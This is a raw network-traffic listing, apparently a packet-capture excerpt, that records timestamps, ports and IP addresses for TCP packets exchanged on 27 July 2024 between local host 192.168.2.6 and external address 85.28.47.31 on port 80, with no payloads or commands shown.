Jul 27, 2024 03:19:15.525388002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525389910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.525404930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525413990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.525422096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525424957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.525437117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525445938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.525453091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525456905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.525473118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.525485992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.525684118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525700092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525716066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525734901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.525739908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525753021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.525758028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525775909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.525790930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.525861025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525876045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525890112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525917053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.525917053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.525928020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.525938034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525952101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525970936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525976896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.525988102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.525989056 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526012897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526041985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526068926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526083946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526099920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526113987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526122093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526132107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526132107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526137114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526146889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526154041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526181936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526191950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526206017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526220083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526235104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526240110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526251078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526259899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526267052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526277065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526283979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526287079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526310921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526329994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526657104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526705027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526788950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526803017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526823044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526830912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526837111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526849985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526854992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526871920 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526876926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526884079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526896954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526901007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526915073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526921988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526932001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526940107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526947021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526961088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526966095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526978016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.526982069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.526994944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.527002096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.527018070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.527024984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.527036905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.527061939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.527751923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.527766943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.527780056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.527813911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.527813911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.527825117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.527842999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.527857065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.527872086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.527880907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.527885914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.527893066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.527903080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.527906895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.527935982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.527940989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.527951956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.527966976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.527981997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.527988911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.527997971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528001070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.528013945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528022051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.528032064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528033972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.528064966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.528064966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.528605938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528631926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528646946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528691053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528690100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.528690100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.528707981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528717041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.528724909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.528724909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528740883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528742075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.528748989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528772116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528772116 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.528826952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.528841019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528857946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528872967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528876066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.528889894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528902054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.528906107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528922081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528927088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.528937101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528949976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.528953075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528969049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528970003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.528984070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.528995037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.529023886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.529289007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.529304981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.529318094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.529335976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.529360056 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.529418945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.529462099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.529838085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.529853106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.529866934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.529879093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.529898882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.529903889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.529918909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.529933929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.529947996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.529951096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.529963970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.529973984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.530000925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.530921936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.530949116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.530961990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.530968904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.530998945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.531028986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.531044006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.531058073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.531069040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.531073093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.531095982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.531119108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.614326954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.614386082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.614434958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.614450932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.614470005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.614484072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.614502907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.614526033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.614538908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.614551067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.614573956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.614597082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.614619970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.615055084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.615114927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.615123034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.615158081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.615174055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.615190983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.615206003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.615237951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.615245104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.615278006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.615293980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.615313053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.615322113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.615346909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.615359068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.615381956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.615391970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.615415096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.615432978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.615449905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.615461111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.615483999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.615498066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.615521908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.615542889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.615555048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.615564108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.615600109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.616339922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.616391897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.616404057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.616430998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.616432905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.616465092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.616477013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.616513014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.616530895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.616565943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.616579056 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.616602898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.616610050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.616651058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.616971016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.617005110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.617026091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.617049932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.617057085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.617090940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.617108107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.617139101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.617146969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.617180109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.617197990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.617216110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.617224932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.617245913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.617265940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.617294073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.617778063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.617810965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.617834091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.617845058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.617854118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.617882967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.617912054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.617945910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.617963076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.617980003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.617994070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.618015051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.618026972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.618057966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.619050026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.619082928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.619098902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.619128942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.619134903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.619169950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.619183064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.619209051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.619214058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.619246006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.619261026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.619278908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.619293928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.619328022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.619545937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.619605064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.619651079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.619683981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.619700909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.619718075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.619724989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.619754076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.619765043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.619788885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.619802952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.619828939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.619834900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.619857073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.619875908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.619904995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.620395899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.620429039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.620452881 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.620462894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.620507002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.620507002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.620539904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.620573997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.620605946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.620609045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.620626926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.620646000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.620657921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.620693922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.621014118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.621067047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.621099949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.621134996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.621134996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.621150017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.621153116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.621187925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.621205091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.621222973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.621236086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.621263027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.621272087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.621323109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.621360064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.621390104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.621412039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.621445894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.621659994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.621694088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.621710062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.621731043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.621742010 CEST	49710	80	192.168.2.6	85.28.47.31
